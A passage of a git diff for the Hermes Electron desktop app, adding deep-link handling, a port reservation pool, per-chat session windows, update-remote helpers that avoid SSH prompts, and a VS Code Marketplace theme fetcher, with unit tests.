+ : ''),
+ )
+ }
+ return { ok: true }
+})
+
+function registerDeepLinkProtocol() {
+ try {
+ if (process.defaultApp && process.argv.length >= 2) {
+ // Dev: register with the electron exec path + entry script so the OS can
+ // relaunch us with the URL.
+ app.setAsDefaultProtocolClient(HERMES_PROTOCOL, process.execPath, [
+ path.resolve(process.argv[1]),
+ ])
+ } else {
+ app.setAsDefaultProtocolClient(HERMES_PROTOCOL)
+ }
+ } catch (err) {
+ rememberLog(`[deeplink] protocol registration failed: ${err.message}`)
+ }
+}
+
+// Single-instance lock: deep links on a running app (Win/Linux) arrive as a
+// second-instance argv. Without the lock a second `hermes://` launch spawns a
+// whole new app instead of routing into the running one.
+const _gotSingleInstanceLock = app.requestSingleInstanceLock()
+if (!_gotSingleInstanceLock) {
+ app.quit()
+} else {
+ app.on('second-instance', (_event, argv) => {
+ const url = _extractDeepLink(argv)
+ if (url) handleDeepLink(url)
+ else if (mainWindow) {
+ if (mainWindow.isMinimized()) mainWindow.restore()
+ mainWindow.focus()
+ }
+ })
+}
+
+// macOS delivers deep links via 'open-url' — register early (can fire before
+// whenReady; handleDeepLink queues until the renderer is ready).
+app.on('open-url', (event, url) => {
+ event.preventDefault()
+ handleDeepLink(url)
+})
+
app.whenReady().then(() => {
if (IS_MAC) {
@@ -5818,13 +6271,25 @@ app.whenReady().then(() => {
}
installMediaPermissions()
registerMediaProtocol()
+ registerDeepLinkProtocol()
ensureWslWindowsFonts()
configureSpellChecker()
registerPowerResumeListeners()
createWindow()
+ // Win/Linux cold start: the launching hermes:// URL is in our own argv.
+ const _coldStartLink = _extractDeepLink(process.argv)
+ if (_coldStartLink) handleDeepLink(_coldStartLink)
+
app.on('activate', () => {
- if (BrowserWindow.getAllWindows().length === 0) createWindow()
+ // Recreate the primary window if it's gone. Guard on mainWindow directly
+ // (not just total window count) so a dock click still restores the main
+ // window when only secondary session windows remain open.
+ if (!mainWindow || mainWindow.isDestroyed()) {
+ createWindow()
+ } else {
+ focusWindow(mainWindow)
+ }
})
})
diff --git a/apps/desktop/electron/port-pool.cjs b/apps/desktop/electron/port-pool.cjs
new file mode 100644
index 000000000000..351310908148
--- /dev/null
+++ b/apps/desktop/electron/port-pool.cjs
@@ -0,0 +1,73 @@
+'use strict'
+
+/**
+ * In-process port reservation pool for the desktop backend launcher.
+ *
+ * pickPort() probes a localhost port with a throwaway server and closes it
+ * before the real bind happens in a separate Python child. Between that probe
+ * and the child's bind there is a TOCTOU window: a second concurrent spawn
+ * (the primary backend racing a pool backend) can be handed the SAME port, and
+ * one then dies with EADDRINUSE ("address already in use" -> "Object has been
+ * destroyed" boot loop). Reserving the chosen port in THIS process until the
+ * child exits closes that window.
+ *
+ * The OS bind remains the source of truth; this only deconflicts racers inside
+ * this process — it can't stop a foreign squatter, which the probe + the
+ * EADDRINUSE self-heal still cover.
+ *
+ * The pool is dependency-injected (the availability probe is passed in) and
+ * free of Electron/Node socket I/O, so it is unit-tested without real sockets
+ * (see port-pool.test.cjs).
+ */
+class PortPool {
+ /**
+ * @param {number} floor inclusive lowest port to hand out
+ * @param {number} ceiling inclusive highest port to hand out
+ */
+ constructor(floor, ceiling) {
+ this.floor = floor
+ this.ceiling = ceiling
+ this._reserved = new Set()
+ }
+
+ /** @returns {boolean} whether `port` is currently reserved in-process. */
+ has(port) {
+ return this._reserved.has(port)
+ }
+
+ /** Release a previously reserved port. No-op if it was not reserved. */
+ release(port) {
+ this._reserved.delete(port)
+ }
+
+ /** Drop all reservations. */
+ clear() {
+ this._reserved.clear()
+ }
+
+ /** @returns {number} count of currently reserved ports. */
+ get size() {
+ return this._reserved.size
+ }
+
+ /**
+ * Reserve and return the lowest port in [floor, ceiling] that is neither
+ * already reserved in-process nor rejected by `isAvailable(port)`, or null
+ * if every port is taken. `isAvailable` may be sync (boolean) or async
+ * (Promise); it is awaited either way.
+ *
+ * @param {(port: number) => boolean | Promise} isAvailable
+ * @returns {Promise}
+ */
+ async reserve(isAvailable) {
+ for (let port = this.floor; port <= this.ceiling; port += 1) {
+ if (this._reserved.has(port)) continue
+ if (!(await isAvailable(port))) continue
+ this._reserved.add(port)
+ return port
+ }
+ return null
+ }
+}
+
+module.exports = { PortPool }
diff --git a/apps/desktop/electron/port-pool.test.cjs b/apps/desktop/electron/port-pool.test.cjs
new file mode 100644
index 000000000000..f2600ce7d5f9
--- /dev/null
+++ b/apps/desktop/electron/port-pool.test.cjs
@@ -0,0 +1,77 @@
+/**
+ * Tests for electron/port-pool.cjs.
+ *
+ * Run with: node --test electron/port-pool.test.cjs
+ *
+ * PortPool is the in-process reservation that closes the pickPort() TOCTOU
+ * window. These cover selection order, skipping reserved/unavailable ports,
+ * release/reuse, exhaustion, and async probes — without real sockets.
+ */
+
+const test = require('node:test')
+const assert = require('node:assert/strict')
+
+const { PortPool } = require('./port-pool.cjs')
+
+const allFree = () => true
+
+test('reserve returns the lowest free port and reserves it', async () => {
+ const pool = new PortPool(9120, 9199)
+ const port = await pool.reserve(allFree)
+ assert.equal(port, 9120)
+ assert.ok(pool.has(9120))
+ assert.equal(pool.size, 1)
+})
+
+test('reserve skips ports already reserved in-process', async () => {
+ const pool = new PortPool(9120, 9199)
+ const first = await pool.reserve(allFree)
+ const second = await pool.reserve(allFree)
+ assert.equal(first, 9120)
+ assert.equal(second, 9121)
+})
+
+test('reserve skips ports the probe rejects', async () => {
+ const pool = new PortPool(9120, 9199)
+ const busy = new Set([9120, 9121])
+ const port = await pool.reserve(p => !busy.has(p))
+ assert.equal(port, 9122)
+})
+
+test('reserve returns null when every port is taken', async () => {
+ const pool = new PortPool(9120, 9121)
+ await pool.reserve(allFree)
+ await pool.reserve(allFree)
+ assert.equal(await pool.reserve(allFree), null)
+})
+
+test('release frees a reserved port for reuse', async () => {
+ const pool = new PortPool(9120, 9120)
+ assert.equal(await pool.reserve(allFree), 9120)
+ assert.equal(await pool.reserve(allFree), null) // exhausted
+ pool.release(9120)
+ assert.ok(!pool.has(9120))
+ assert.equal(await pool.reserve(allFree), 9120) // reusable
+})
+
+test('release is a no-op for an unreserved port', () => {
+ const pool = new PortPool(9120, 9199)
+ pool.release(9120)
+ assert.equal(pool.size, 0)
+})
+
+test('reserve awaits an async probe', async () => {
+ const pool = new PortPool(9120, 9199)
+ const busy = new Set([9120])
+ const port = await pool.reserve(p => Promise.resolve(!busy.has(p)))
+ assert.equal(port, 9121)
+})
+
+test('clear drops all reservations', async () => {
+ const pool = new PortPool(9120, 9199)
+ await pool.reserve(allFree)
+ await pool.reserve(allFree)
+ assert.equal(pool.size, 2)
+ pool.clear()
+ assert.equal(pool.size, 0)
+})
diff --git a/apps/desktop/electron/preload.cjs b/apps/desktop/electron/preload.cjs
index cf094e751c3a..9880d4bcf585 100644
--- a/apps/desktop/electron/preload.cjs
+++ b/apps/desktop/electron/preload.cjs
@@ -5,6 +5,7 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
revalidateConnection: () => ipcRenderer.invoke('hermes:connection:revalidate'),
touchBackend: profile => ipcRenderer.invoke('hermes:backend:touch', profile),
getGatewayWsUrl: profile => ipcRenderer.invoke('hermes:gateway:ws-url', profile),
+ openSessionWindow: sessionId => ipcRenderer.invoke('hermes:window:openSession', sessionId),
getBootProgress: () => ipcRenderer.invoke('hermes:boot-progress:get'),
getConnectionConfig: profile => ipcRenderer.invoke('hermes:connection-config:get', profile),
saveConnectionConfig: payload => ipcRenderer.invoke('hermes:connection-config:save', payload),
@@ -41,6 +42,7 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
setPreviewShortcutActive: active => ipcRenderer.send('hermes:previewShortcutActive', Boolean(active)),
openExternal: url => ipcRenderer.invoke('hermes:openExternal', url),
fetchLinkTitle: url => ipcRenderer.invoke('hermes:fetchLinkTitle', url),
+ sanitizeWorkspaceCwd: cwd => ipcRenderer.invoke('hermes:workspace:sanitize', cwd),
settings: {
getDefaultProjectDir: () => ipcRenderer.invoke('hermes:setting:defaultProjectDir:get'),
setDefaultProjectDir: dir => ipcRenderer.invoke('hermes:setting:defaultProjectDir:set', dir),
@@ -78,6 +80,12 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
ipcRenderer.on('hermes:open-updates', listener)
return () => ipcRenderer.removeListener('hermes:open-updates', listener)
},
+ onDeepLink: callback => {
+ const listener = (_event, payload) => callback(payload)
+ ipcRenderer.on('hermes:deep-link', listener)
+ return () => ipcRenderer.removeListener('hermes:deep-link', listener)
+ },
+ signalDeepLinkReady: () => ipcRenderer.invoke('hermes:deep-link-ready'),
onWindowStateChanged: callback => {
const listener = (_event, payload) => callback(payload)
ipcRenderer.on('hermes:window-state-changed', listener)
@@ -132,5 +140,9 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
ipcRenderer.on('hermes:updates:progress', listener)
return () => ipcRenderer.removeListener('hermes:updates:progress', listener)
}
+ },
+ themes: {
+ fetchMarketplace: id => ipcRenderer.invoke('hermes:vscode-theme:fetch', id),
+ searchMarketplace: query => ipcRenderer.invoke('hermes:vscode-theme:search', query)
}
})
diff --git a/apps/desktop/electron/session-windows.cjs b/apps/desktop/electron/session-windows.cjs
new file mode 100644
index 000000000000..8775feb1bcea
--- /dev/null
+++ b/apps/desktop/electron/session-windows.cjs
@@ -0,0 +1,86 @@
+// Secondary "session windows" — one extra OS window per chat so a user can
+// work with multiple chats side by side. The pure, Electron-free pieces live
+// here so they can be unit-tested with node --test (mirroring how the rest of
+// electron/*.cjs splits testable logic out of the main.cjs monolith).
+
+const { pathToFileURL } = require('node:url')
+
+// Build the renderer URL for a secondary window. The renderer uses a
+// HashRouter, so the session route lives after the '#'. The `?win=secondary`
+// flag MUST sit in the query string BEFORE the '#': anything after the '#' is
+// treated as the route by HashRouter and would break routeSessionId(). The
+// renderer reads the flag from window.location.search to suppress the install /
+// onboarding overlays and the global session sidebar.
+function buildSessionWindowUrl(sessionId, { devServer, rendererIndexPath } = {}) {
+ const route = `#/${encodeURIComponent(sessionId)}`
+
+ if (devServer) {
+ const base = devServer.endsWith('/') ? devServer.slice(0, -1) : devServer
+
+ return `${base}/?win=secondary${route}`
+ }
+
+ return `${pathToFileURL(rendererIndexPath).toString()}?win=secondary${route}`
+}
+
+// A small registry keyed by sessionId that guarantees one window per chat:
+// opening a session that already has a live window focuses it instead of
+// spawning a duplicate, and a window removes itself from the registry when it
+// closes. The actual BrowserWindow construction is injected (the `factory`) so
+// this module stays free of Electron and is unit-testable.
+function createSessionWindowRegistry() {
+ const windows = new Map()
+
+ function openOrFocus(sessionId, factory) {
+ const key = typeof sessionId === 'string' ? sessionId.trim() : ''
+
+ if (!key) {
+ return null
+ }
+
+ const existing = windows.get(key)
+
+ if (existing && !existing.isDestroyed()) {
+ // Focus-or-create: never duplicate a window for the same chat.
+ if (typeof existing.isMinimized === 'function' && existing.isMinimized()) {
+ existing.restore?.()
+ }
+
+ if (typeof existing.isVisible === 'function' && !existing.isVisible()) {
+ existing.show?.()
+ }
+
+ existing.focus?.()
+
+ return existing
+ }
+
+ const win = factory(key)
+
+ if (!win) {
+ return null
+ }
+
+ windows.set(key, win)
+
+ // Self-cleanup on close so the registry never holds a destroyed window.
+ win.on?.('closed', () => {
+ if (windows.get(key) === win) {
+ windows.delete(key)
+ }
+ })
+
+ return win
+ }
+
+ return {
+ openOrFocus,
+ get: key => windows.get(key),
+ has: key => windows.has(key),
+ get size() {
+ return windows.size
+ }
+ }
+}
+
+module.exports = { buildSessionWindowUrl, createSessionWindowRegistry }
diff --git a/apps/desktop/electron/session-windows.test.cjs b/apps/desktop/electron/session-windows.test.cjs
new file mode 100644
index 000000000000..3453971eb517
--- /dev/null
+++ b/apps/desktop/electron/session-windows.test.cjs
@@ -0,0 +1,165 @@
+const assert = require('node:assert/strict')
+const test = require('node:test')
+
+const { buildSessionWindowUrl, createSessionWindowRegistry } = require('./session-windows.cjs')
+
+// A minimal fake BrowserWindow: tracks listeners + destroyed state and lets a
+// test fire the 'closed' event, mirroring the slice of the Electron API the
+// registry actually touches.
+function makeFakeWindow() {
+ const listeners = {}
+ const calls = { focus: 0, show: 0, restore: 0 }
+ let destroyed = false
+ let minimized = false
+ let visible = true
+
+ return {
+ on(event, handler) {
+ listeners[event] = handler
+
+ return this
+ },
+ emit(event) {
+ listeners[event]?.()
+ },
+ isDestroyed: () => destroyed,
+ destroy() {
+ destroyed = true
+ },
+ isMinimized: () => minimized,
+ setMinimized(value) {
+ minimized = value
+ },
+ isVisible: () => visible,
+ setVisible(value) {
+ visible = value
+ },
+ restore() {
+ calls.restore += 1
+ minimized = false
+ },
+ show() {
+ calls.show += 1
+ visible = true
+ },
+ focus() {
+ calls.focus += 1
+ },
+ calls
+ }
+}
+
+test('buildSessionWindowUrl puts the secondary flag before the hash route (dev server)', () => {
+ const url = buildSessionWindowUrl('abc123', { devServer: 'http://localhost:5173' })
+
+ assert.equal(url, 'http://localhost:5173/?win=secondary#/abc123')
+})
+
+test('buildSessionWindowUrl avoids a double slash when the dev server has a trailing slash', () => {
+ const url = buildSessionWindowUrl('abc123', { devServer: 'http://localhost:5173/' })
+
+ assert.equal(url, 'http://localhost:5173/?win=secondary#/abc123')
+})
+
+test('buildSessionWindowUrl encodes the session id in the hash route', () => {
+ const url = buildSessionWindowUrl('a b/c', { devServer: 'http://localhost:5173' })
+
+ // The query flag must precede the '#' or HashRouter would swallow it as the
+ // route; the id is URL-encoded so slashes/spaces survive routeSessionId().
+ assert.equal(url, 'http://localhost:5173/?win=secondary#/a%20b%2Fc')
+ assert.ok(url.indexOf('?win=secondary') < url.indexOf('#'))
+})
+
+test('buildSessionWindowUrl builds a packaged file URL with the flag before the hash', () => {
+ const url = buildSessionWindowUrl('abc', { rendererIndexPath: '/opt/app/index.html' })
+
+ assert.match(url, /^file:\/\/.*index\.html\?win=secondary#\/abc$/)
+})
+
+test('registry opens one window per session and focuses on re-open', () => {
+ const registry = createSessionWindowRegistry()
+ let built = 0
+ const win = makeFakeWindow()
+ const factory = () => {
+ built += 1
+
+ return win
+ }
+
+ const first = registry.openOrFocus('s1', factory)
+ const second = registry.openOrFocus('s1', factory)
+
+ assert.equal(built, 1, 'factory runs once for the same session')
+ assert.equal(first, second)
+ assert.equal(registry.size, 1)
+ assert.equal(win.calls.focus, 1, 'second open focuses the existing window')
+})
+
+test('registry restores + shows a minimized/hidden window on re-open', () => {
+ const registry = createSessionWindowRegistry()
+ const win = makeFakeWindow()
+ registry.openOrFocus('s1', () => win)
+
+ win.setMinimized(true)
+ win.setVisible(false)
+ registry.openOrFocus('s1', () => win)
+
+ assert.equal(win.calls.restore, 1)
+ assert.equal(win.calls.show, 1)
+ assert.equal(win.calls.focus, 1)
+})
+
+test('registry drops the entry when the window closes', () => {
+ const registry = createSessionWindowRegistry()
+ const win = makeFakeWindow()
+ registry.openOrFocus('s1', () => win)
+ assert.equal(registry.size, 1)
+
+ win.emit('closed')
+
+ assert.equal(registry.size, 0)
+ assert.equal(registry.has('s1'), false)
+})
+
+test('registry rebuilds a fresh window after the previous one was destroyed', () => {
+ const registry = createSessionWindowRegistry()
+ const first = makeFakeWindow()
+ registry.openOrFocus('s1', () => first)
+ first.destroy()
+
+ let built = 0
+ const second = makeFakeWindow()
+ const result = registry.openOrFocus('s1', () => {
+ built += 1
+
+ return second
+ })
+
+ assert.equal(built, 1, 'a destroyed window is replaced, not focused')
+ assert.equal(result, second)
+})
+
+test('registry ignores empty / non-string session ids', () => {
+ const registry = createSessionWindowRegistry()
+ let built = 0
+ const factory = () => {
+ built += 1
+
+ return makeFakeWindow()
+ }
+
+ assert.equal(registry.openOrFocus('', factory), null)
+ assert.equal(registry.openOrFocus(' ', factory), null)
+ assert.equal(registry.openOrFocus(null, factory), null)
+ assert.equal(registry.openOrFocus(42, factory), null)
+ assert.equal(built, 0)
+ assert.equal(registry.size, 0)
+})
+
+test('registry trims the session id before keying', () => {
+ const registry = createSessionWindowRegistry()
+ const win = makeFakeWindow()
+ registry.openOrFocus(' s1 ', () => win)
+
+ assert.equal(registry.has('s1'), true)
+})
diff --git a/apps/desktop/electron/update-remote.cjs b/apps/desktop/electron/update-remote.cjs
new file mode 100644
index 000000000000..3cb432d1b1e9
--- /dev/null
+++ b/apps/desktop/electron/update-remote.cjs
@@ -0,0 +1,56 @@
+/**
+ * Pure helpers for choosing a remote URL during passive update checks.
+ *
+ * A public install can end up with `origin=git@github.com:NousResearch/hermes-agent.git`.
+ * If the user's GitHub SSH key is FIDO2/passkey-backed, a background `git fetch
+ * origin` triggers an unexplained hardware-touch prompt. For passive checks
+ * against the official repo we substitute the public HTTPS `ls-remote` path,
+ * which needs no auth and cannot prompt. Active update/apply flows are left
+ * unchanged.
+ *
+ * Extracted from main.cjs so the security-critical remote detection is unit
+ * testable without booting Electron (main.cjs requires('electron') at load).
+ */
+
+const OFFICIAL_REPO_HTTPS_URL = 'https://github.com/NousResearch/hermes-agent.git'
+const OFFICIAL_REPO_CANONICAL = 'github.com/nousresearch/hermes-agent'
+
+// Normalize common GitHub remote URL forms to `host/owner/repo` (lowercased,
+// no trailing slash, no .git suffix) so SSH and HTTPS forms of the same repo
+// compare equal.
+function canonicalGitHubRemote(url) {
+ if (!url) return ''
+ let value = String(url).trim()
+ if (value.startsWith('git@github.com:')) {
+ value = `github.com/${value.slice('git@github.com:'.length)}`
+ } else if (value.startsWith('ssh://git@github.com/')) {
+ value = `github.com/${value.slice('ssh://git@github.com/'.length)}`
+ } else {
+ try {
+ const parsed = new URL(value)
+ if (parsed.hostname && parsed.pathname) value = `${parsed.hostname}${parsed.pathname}`
+ } catch {
+ // Leave non-URL forms unchanged.
+ }
+ }
+ value = value.trim().replace(/\/+$/, '')
+ if (value.endsWith('.git')) value = value.slice(0, -4)
+ return value.toLowerCase()
+}
+
+function isSshRemote(url) {
+ const value = String(url || '').trim().toLowerCase()
+ return value.startsWith('git@') || value.startsWith('ssh://')
+}
+
+function isOfficialSshRemote(url) {
+ return isSshRemote(url) && canonicalGitHubRemote(url) === OFFICIAL_REPO_CANONICAL
+}
+
+module.exports = {
+ OFFICIAL_REPO_HTTPS_URL,
+ OFFICIAL_REPO_CANONICAL,
+ canonicalGitHubRemote,
+ isSshRemote,
+ isOfficialSshRemote
+}
diff --git a/apps/desktop/electron/update-remote.test.cjs b/apps/desktop/electron/update-remote.test.cjs
new file mode 100644
index 000000000000..0dfba970138b
--- /dev/null
+++ b/apps/desktop/electron/update-remote.test.cjs
@@ -0,0 +1,78 @@
+/**
+ * Tests for electron/update-remote.cjs — the remote-detection helpers that
+ * keep passive update checks off the SSH origin for official installs.
+ *
+ * Run with: node --test electron/update-remote.test.cjs
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * Why this matters: a public install can carry
+ * origin=git@github.com:NousResearch/hermes-agent.git. A background
+ * `git fetch origin` then authenticates over SSH and, with a FIDO2/passkey
+ * key, triggers an unexplained hardware-touch prompt. isOfficialSshRemote
+ * must reliably recognize the official SSH remote (in every URL form,
+ * case-insensitively) so the caller can swap in the anonymous HTTPS path —
+ * while NOT misclassifying forks, other hosts, or the HTTPS remote (which
+ * never prompts and should keep the normal fetch path).
+ */
+
+const test = require('node:test')
+const assert = require('node:assert/strict')
+
+const {
+ OFFICIAL_REPO_HTTPS_URL,
+ OFFICIAL_REPO_CANONICAL,
+ canonicalGitHubRemote,
+ isSshRemote,
+ isOfficialSshRemote
+} = require('./update-remote.cjs')
+
+test('canonicalGitHubRemote normalizes SSH and HTTPS forms to the same value', () => {
+ assert.equal(canonicalGitHubRemote('git@github.com:NousResearch/hermes-agent.git'), OFFICIAL_REPO_CANONICAL)
+ assert.equal(canonicalGitHubRemote('git@github.com:NousResearch/hermes-agent'), OFFICIAL_REPO_CANONICAL)
+ assert.equal(canonicalGitHubRemote('ssh://git@github.com/NousResearch/hermes-agent.git'), OFFICIAL_REPO_CANONICAL)
+ assert.equal(canonicalGitHubRemote('https://github.com/NousResearch/hermes-agent.git'), OFFICIAL_REPO_CANONICAL)
+ // Case-insensitive: an uppercased owner still canonicalizes to the same repo.
+ assert.equal(canonicalGitHubRemote('git@github.com:nousresearch/hermes-agent.git'), OFFICIAL_REPO_CANONICAL)
+ // Trailing slashes are stripped.
+ assert.equal(canonicalGitHubRemote('https://github.com/NousResearch/hermes-agent/'), OFFICIAL_REPO_CANONICAL)
+})
+
+test('canonicalGitHubRemote is empty for falsy input', () => {
+ assert.equal(canonicalGitHubRemote(''), '')
+ assert.equal(canonicalGitHubRemote(null), '')
+ assert.equal(canonicalGitHubRemote(undefined), '')
+})
+
+test('isSshRemote detects scp-like and ssh:// forms only', () => {
+ assert.equal(isSshRemote('git@github.com:NousResearch/hermes-agent.git'), true)
+ assert.equal(isSshRemote('ssh://git@github.com/NousResearch/hermes-agent.git'), true)
+ assert.equal(isSshRemote('https://github.com/NousResearch/hermes-agent.git'), false)
+ assert.equal(isSshRemote(''), false)
+ assert.equal(isSshRemote(null), false)
+})
+
+test('isOfficialSshRemote is true only for the official repo over SSH', () => {
+ assert.equal(isOfficialSshRemote('git@github.com:NousResearch/hermes-agent.git'), true)
+ assert.equal(isOfficialSshRemote('git@github.com:NousResearch/hermes-agent'), true)
+ assert.equal(isOfficialSshRemote('ssh://git@github.com/NousResearch/hermes-agent.git'), true)
+ // Case-insensitive owner/repo match.
+ assert.equal(isOfficialSshRemote('git@github.com:nousresearch/hermes-agent.git'), true)
+})
+
+test('isOfficialSshRemote does NOT match forks, other hosts, or HTTPS', () => {
+ // A fork over SSH belongs to the user — fetching it is their own remote,
+ // not the official upstream, so the SSH-avoidance swap must not apply.
+ assert.equal(isOfficialSshRemote('git@github.com:someuser/hermes-agent.git'), false)
+ // Same repo name on a different host is not the official repo.
+ assert.equal(isOfficialSshRemote('git@gitlab.com:NousResearch/hermes-agent.git'), false)
+ // HTTPS to the official repo never prompts for SSH/FIDO2, so it keeps the
+ // normal fetch path — must not be flagged as an official SSH remote.
+ assert.equal(isOfficialSshRemote('https://github.com/NousResearch/hermes-agent.git'), false)
+ assert.equal(isOfficialSshRemote(''), false)
+ assert.equal(isOfficialSshRemote(null), false)
+})
+
+test('OFFICIAL_REPO_HTTPS_URL canonicalizes to OFFICIAL_REPO_CANONICAL', () => {
+ // Invariant: the URL we substitute in must be the same repo we detect.
+ assert.equal(canonicalGitHubRemote(OFFICIAL_REPO_HTTPS_URL), OFFICIAL_REPO_CANONICAL)
+})
diff --git a/apps/desktop/electron/vscode-marketplace.cjs b/apps/desktop/electron/vscode-marketplace.cjs
new file mode 100644
index 000000000000..829182a1f0f0
--- /dev/null
+++ b/apps/desktop/electron/vscode-marketplace.cjs
@@ -0,0 +1,331 @@
+'use strict'
+
+/**
+ * VS Code Marketplace color-theme fetcher (main process).
+ *
+ * Resolves an extension's latest version via the (undocumented but stable)
+ * gallery ExtensionQuery API, downloads the `.vsix` (a zip), and extracts the
+ * color-theme JSON files it contributes. No theme code is ever executed — we
+ * only read `package.json` + the referenced `*.json` theme files out of the
+ * archive and hand their text back to the renderer to convert.
+ *
+ * Dependency-free on purpose: a `.vsix` is a plain zip, so we parse the central
+ * directory and inflate just the entries we need with `zlib`. Avoids pulling a
+ * zip library into the desktop bundle for a feature this small.
+ */
+
+const https = require('node:https')
+const zlib = require('node:zlib')
+
+const GALLERY_QUERY_URL = 'https://marketplace.visualstudio.com/_apis/public/gallery/extensionquery'
+const VSIX_ASSET_TYPE = 'Microsoft.VisualStudio.Services.VSIXPackage'
+const MAX_VSIX_BYTES = 40 * 1024 * 1024 // 40 MB — themes are tiny; this is paranoia.
+const MAX_REDIRECTS = 5
+const REQUEST_TIMEOUT_MS = 20_000
+
+const ID_RE = /^[\w-]+\.[\w-]+$/
+
+/** Minimal HTTPS helper with redirect-following, timeout, and a size cap. */
+function request(url, { method = 'GET', headers = {}, body = null, maxBytes = MAX_VSIX_BYTES } = {}, redirectsLeft = MAX_REDIRECTS) {
+ return new Promise((resolve, reject) => {
+ const req = https.request(url, { method, headers }, res => {
+ const status = res.statusCode ?? 0
+
+ if (status >= 300 && status < 400 && res.headers.location) {
+ if (redirectsLeft <= 0) {
+ res.resume()
+ reject(new Error('Too many redirects.'))
+
+ return
+ }
+
+ const next = new URL(res.headers.location, url).toString()
+ res.resume()
+ // Redirects to the CDN are plain GETs (drop the POST body).
+ resolve(request(next, { method: 'GET', headers: { 'User-Agent': headers['User-Agent'] }, maxBytes }, redirectsLeft - 1))
+
+ return
+ }
+
+ if (status < 200 || status >= 300) {
+ res.resume()
+ reject(new Error(`Request failed (${status}) for ${url}`))
+
+ return
+ }
+
+ const chunks = []
+ let total = 0
+
+ res.on('data', chunk => {
+ total += chunk.length
+
+ if (total > maxBytes) {
+ req.destroy()
+ reject(new Error('Response exceeded the size limit.'))
+
+ return
+ }
+
+ chunks.push(chunk)
+ })
+ res.on('end', () => resolve(Buffer.concat(chunks)))
+ })
+
+ req.on('error', reject)
+ req.setTimeout(REQUEST_TIMEOUT_MS, () => req.destroy(new Error('Request timed out.')))
+
+ if (body) {
+ req.write(body)
+ }
+
+ req.end()
+ })
+}
+
+/** Resolve `{ displayName, vsixUrl }` for the latest version of `id`. */
+async function resolveExtension(id) {
+ const json = await queryGallery({
+ // FilterType 7 = ExtensionName (the full publisher.extension id).
+ filters: [{ criteria: [{ filterType: 7, value: id }], pageNumber: 1, pageSize: 1 }],
+ // Flags: IncludeFiles | IncludeVersionProperties | IncludeAssetUri |
+ // IncludeCategoryAndTags | IncludeLatestVersionOnly = 914.
+ flags: 914
+ })
+ const extension = json?.results?.[0]?.extensions?.[0]
+
+ if (!extension) {
+ throw new Error(`Extension "${id}" was not found on the Marketplace.`)
+ }
+
+ const version = extension.versions?.[0]
+
+ if (!version) {
+ throw new Error(`Extension "${id}" has no published versions.`)
+ }
+
+ const asset = (version.files ?? []).find(file => file.assetType === VSIX_ASSET_TYPE)
+ const vsixUrl = asset?.source
+
+ if (!vsixUrl) {
+ throw new Error(`Could not find a downloadable package for "${id}".`)
+ }
+
+ return { displayName: extension.displayName || id, vsixUrl }
+}
+
+/** POST an ExtensionQuery payload and return the parsed gallery response. */
+async function queryGallery(payload, { maxBytes = 4 * 1024 * 1024 } = {}) {
+ const body = JSON.stringify(payload)
+ const raw = await request(GALLERY_QUERY_URL, {
+ method: 'POST',
+ headers: {
+ Accept: 'application/json;api-version=3.0-preview.1',
+ 'Content-Type': 'application/json',
+ 'Content-Length': Buffer.byteLength(body),
+ 'User-Agent': 'Hermes-Desktop'
+ },
+ body,
+ maxBytes
+ })
+
+ return JSON.parse(raw.toString('utf8'))
+}
+
+/**
+ * Search the Marketplace for color-theme extensions. With an empty query this
+ * returns the most-installed themes; with a query it's a full-text search
+ * scoped to the Themes category. Returns lightweight cards (no download).
+ */
+/**
+ * The "Themes" category also contains file-icon and product-icon themes (the
+ * gallery has no color-only category). We can't see an extension's actual
+ * contributions without downloading it, so filter the obvious icon packs out by
+ * tag + name/description. Color themes that also ship icons are rare; worst case
+ * a user installs them by exact id from settings.
+ */
+function looksLikeIconTheme(extension) {
+ const tags = (extension.tags ?? []).map(tag => String(tag).toLowerCase())
+
+ if (tags.includes('icon-theme') || tags.includes('product-icon-theme')) {
+ return true
+ }
+
+ const text = `${extension.displayName ?? ''} ${extension.shortDescription ?? ''}`.toLowerCase()
+
+ return /\b(icon theme|file icons?|product icons?|icon pack|fileicons)\b/.test(text)
+}
+
+async function searchMarketplaceThemes(query, limit = 20) {
+ const text = String(query || '').trim()
+ const pageSize = Math.min(Math.max(Number(limit) || 20, 1), 50)
+
+ // FilterType: 8=Target, 5=Category, 10=SearchText, 12=ExcludeWithFlags.
+ const criteria = [
+ { filterType: 8, value: 'Microsoft.VisualStudio.Code' },
+ { filterType: 5, value: 'Themes' },
+ { filterType: 12, value: '4096' } // Exclude unpublished (Unpublished = 0x1000).
+ ]
+
+ if (text) {
+ criteria.push({ filterType: 10, value: text })
+ }
+
+ const json = await queryGallery({
+ // Over-fetch so the icon-theme filter below still leaves a full page.
+ filters: [{ criteria, pageNumber: 1, pageSize: Math.min(pageSize * 2, 50), sortBy: 4, sortOrder: 0 }],
+ // IncludeStatistics (0x100) | IncludeLatestVersionOnly (0x200) | IncludeCategoryAndTags (0x4).
+ flags: 772
+ })
+
+ const extensions = json?.results?.[0]?.extensions ?? []
+
+ return extensions
+ .filter(extension => !looksLikeIconTheme(extension))
+ .slice(0, pageSize)
+ .map(extension => {
+ const publisherName = extension.publisher?.publisherName ?? ''
+ const installStat = (extension.statistics ?? []).find(stat => stat.statisticName === 'install')
+
+ return {
+ extensionId: `${publisherName}.${extension.extensionName}`,
+ displayName: extension.displayName || extension.extensionName,
+ publisher: extension.publisher?.displayName || publisherName,
+ description: extension.shortDescription || '',
+ installs: Math.round(installStat?.value ?? 0)
+ }
+ })
+}
+
+// ─── Minimal zip reader ─────────────────────────────────────────────────────
+
+function findEndOfCentralDirectory(buf) {
+ // EOCD signature 0x06054b50, scanning back from the end (comment is rare).
+ for (let i = buf.length - 22; i >= 0; i--) {
+ if (buf.readUInt32LE(i) === 0x06054b50) {
+ return i
+ }
+ }
+
+ throw new Error('Not a valid zip archive (no end-of-central-directory).')
+}
+
+/** Parse the central directory into a name → record map. */
+function readCentralDirectory(buf) {
+ const eocd = findEndOfCentralDirectory(buf)
+ const count = buf.readUInt16LE(eocd + 10)
+ let offset = buf.readUInt32LE(eocd + 16)
+ const records = new Map()
+
+ for (let i = 0; i < count; i++) {
+ if (buf.readUInt32LE(offset) !== 0x02014b50) {
+ break
+ }
+
+ const method = buf.readUInt16LE(offset + 10)
+ const compressedSize = buf.readUInt32LE(offset + 20)
+ const nameLen = buf.readUInt16LE(offset + 28)
+ const extraLen = buf.readUInt16LE(offset + 30)
